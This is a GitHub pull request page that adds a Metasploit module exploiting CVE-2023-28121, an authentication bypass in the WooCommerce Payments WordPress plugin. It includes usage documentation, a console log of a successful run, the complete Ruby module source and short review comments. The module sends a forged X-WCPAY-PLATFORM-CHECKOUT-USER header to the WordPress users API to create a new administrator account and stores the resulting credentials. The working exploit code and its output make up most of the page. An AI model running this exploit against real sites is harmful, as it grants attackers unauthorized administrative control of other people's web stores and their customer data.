-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
WooCommerce Payments auth bypass and priv esc #18164
Merged
Merged
Changes from all commits
Commits
Show all changes
10 commits
Select commit
Hold shift + click to select a range
375a315
woocommerce payments auth bypass
h00die 8d686e5
woocommerce payments auth bypass
h00die f77e7db
woocommerce payments auth bypass
h00die da6cdd1
Fix up datastore setting code
gwillcox-r7 ce19ce5
Apply fixes from review
gwillcox-r7 3abcb3e
Explain ADMINID field more
gwillcox-r7 c3aefe5
Fix url_root loop code and user creation code
gwillcox-r7 81cf6c2
Fix up credential storing code
gwillcox-r7 d6911f6
add new api endpoint, and checks for multiple versions
h00die 5261d84
Update documentation/modules/auxiliary/scanner/http/wp_woocommerce_pa…
jheysel-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -57,3 +57,4 @@ woocommerce-abandoned-cart | |
elementor | ||
bookingpress | ||
paid-memberships-pro | ||
woocommerce-payments |
66 changes: 66 additions & 0 deletions
66
documentation/modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
## Vulnerable Application | ||
WooCommerce-Payments plugin for Wordpress versions 4.8 prior to 4.8.2, 4.9 prior to 4.9.1, | ||
5.0 prior to 5.0.4, 5.1 prior to 5.1.3, 5.2 prior to 5.2.2, 5.3 prior to 5.3.1, 5.4 prior to 5.4.1, | ||
5.5 prior to 5.5.2, and 5.6 prior to 5.6.2 contain an authentication bypass by specifying a valid user ID number | ||
within the `X-WCPAY-PLATFORM-CHECKOUT-USER` header. With this authentication bypass, a user can then use the API | ||
to create a new user with administrative privileges on the target WordPress site IF the user ID | ||
selected corresponds to an administrator account. | ||
|
||
### Install | ||
|
||
Download, install, and activate [woocomerce-payments 5.6.1](https://downloads.wordpress.org/plugin/woocommerce-payments.5.6.1.zip) | ||
|
||
No configuration is required, and one does not need to install the main WooCommerce platform itself. | ||
|
||
## Verification Steps | ||
|
||
1. Install the plugin | ||
1. Start msfconsole | ||
1. Do: `use auxiliary/scanner/http/wp_woocommerce_payments_add_user` | ||
1. Do: `set username [username]` | ||
1. Do: `set rhosts [ip]` | ||
1. Do: `run` | ||
1. A new WordPress administrator account should be created. | ||
1. Verify the new account uses the username and password specified in the USERNAME and PASSWORD datastore options respectively. | ||
|
||
## Options | ||
|
||
### USERNAME | ||
|
||
The username to create. Default is `msfadmin`. | ||
|
||
### PASSWORD | ||
|
||
The password for the user. Default is to create a random one. | ||
|
||
|
||
The email address for the user. Default is to create a random one. | ||
|
||
### ADMINID | ||
|
||
The user ID number for a WordPress administrator. Defaults to `1`. | ||
|
||
## Scenarios | ||
|
||
### VWooCommerce Payments 5.6.1 on Wordpress 6.2.2 | ||
|
||
``` | ||
msf6 > use auxiliary/scanner/http/wp_woocommerce_payments_add_user | ||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set rhosts 1.1.1.1 | ||
rhosts => 1.1.1.1 | ||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set username h00die | ||
username => h00die | ||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > set verbose true | ||
verbose => true | ||
msf6 auxiliary(scanner/http/wp_woocommerce_payments_add_user) > exploit | ||
[*] Running module against 1.1.1.1 | ||
|
||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking /wp-content/plugins/woocommerce-payments/readme.txt | ||
[*] Found version 5.6.1 in the plugin | ||
[+] The target appears to be vulnerable. | ||
[*] Attempting to create an administrator user -> h00die:lWqD3BOer3AFZ ([email protected]) | ||
[+] User was created successfully | ||
[*] Auxiliary module execution completed | ||
``` |
158 changes: 158 additions & 0 deletions
158
modules/auxiliary/scanner/http/wp_woocommerce_payments_add_user.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,158 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Auxiliary::Report | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation', | ||
'Description' => %q{ | ||
WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1, | ||
5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1, | ||
5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number | ||
within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API | ||
to create a new user with administrative privileges on the target WordPress site IF the user ID | ||
selected corresponds to an administrator account. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Michael Mazzolini', # original discovery | ||
'Julien Ahrens' # detailed writeup | ||
], | ||
'References' => [ | ||
['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'], | ||
['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'], | ||
['CVE', '2023-28121'] | ||
], | ||
'DisclosureDate' => '2023-03-22', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(80), | ||
OptString.new('USERNAME', [true, 'User to create', '']), | ||
OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']), | ||
OptString.new('EMAIL', [false, 'Email to create, random if blank', '']), | ||
OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]), | ||
OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
unless wordpress_and_online? | ||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') | ||
end | ||
|
||
vuln_versions = [ | ||
['4.8', '4.8.2'], | ||
['4.9', '4.9.1'], | ||
['5.0', '5.0.4'], | ||
['5.1', '5.1.3'], | ||
['5.2', '5.2.2'], | ||
['5.3', '5.3.1'], | ||
['5.4', '5.4.1'], | ||
['5.5', '5.5.2'], | ||
['5.6', '5.6.2'] | ||
] | ||
|
||
vuln_versions.each do |versions| | ||
introduced = versions[0] | ||
fixed = versions[1] | ||
checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced) | ||
if checkcode == Exploit::CheckCode::Appears | ||
return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable') | ||
end | ||
end | ||
|
||
Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed') | ||
end | ||
|
||
def run | ||
password = datastore['PASSWORD'] | ||
if datastore['PASSWORD'].blank? | ||
password = Rex::Text.rand_text_alphanumeric(10..15) | ||
end | ||
|
||
email = datastore['EMAIL'] | ||
if datastore['EMAIL'].blank? | ||
email = Rex::Text.rand_mail_address | ||
end | ||
|
||
username = datastore['USERNAME'] | ||
if datastore['USERNAME'].blank? | ||
username = Rex::Text.rand_text_alphanumeric(5..20) | ||
end | ||
|
||
print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})") | ||
['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites | ||
if url_root == '/rest' | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path), | ||
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' }, | ||
'data' => { | ||
'username' => username, | ||
'email' => email, | ||
'password' => password, | ||
'roles' => ['administrator'] | ||
}.to_json | ||
}) | ||
else | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'), | ||
'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] }, | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => { | ||
'username' => username, | ||
'email' => email, | ||
'password' => password, | ||
'roles' => ['administrator'] | ||
}.to_json | ||
}) | ||
end | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
next if res.code == 404 | ||
|
||
if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body&.match(/"username":"#{username}"/) | ||
print_good('User was created successfully') | ||
if framework.db.active | ||
create_credential_and_login({ | ||
address: rhost, | ||
port: rport, | ||
protocol: 'tcp', | ||
workspace_id: myworkspace_id, | ||
origin_type: :service, | ||
service_name: 'WordPress', | ||
username: username, | ||
private_type: :password, | ||
private_data: password, | ||
module_fullname: fullname, | ||
access_level: 'administrator', | ||
last_attempted_at: DateTime.now, | ||
status: Metasploit::Model::Login::Status::SUCCESSFUL | ||
gwillcox-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
}) | ||
end | ||
else | ||
print_error("Server response: #{res.body}") | ||
end | ||
break # we didn't get a 404 so we can bail on the 2nd attempt | ||
end | ||
end | ||
end |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
From a quick glance, it looks like this will make multiple requests out, is that something we want to do? Wondering is there a more elegant way to achieve this, i.e. a richer API that makes the single HTTP request, and offers a way to check the impacted versions 👀
Edit: Just seeing this message now, I guess you're wanting to call that out of scope then 😄
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I had edited the message to include that, that's why it needed to be re-read.
Yea, I consider editing the Library and cross testing that with some other modules to ensure backwards compatibility, and writing a spec to be outside the scope of this module. The current implementation is a little ugly, true, but it gets the job done accurately. It's the best I can do w/ the tools given.
I don't mind writing up an issue though to at least document the library needs to be fixed
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Sounds good to me 👍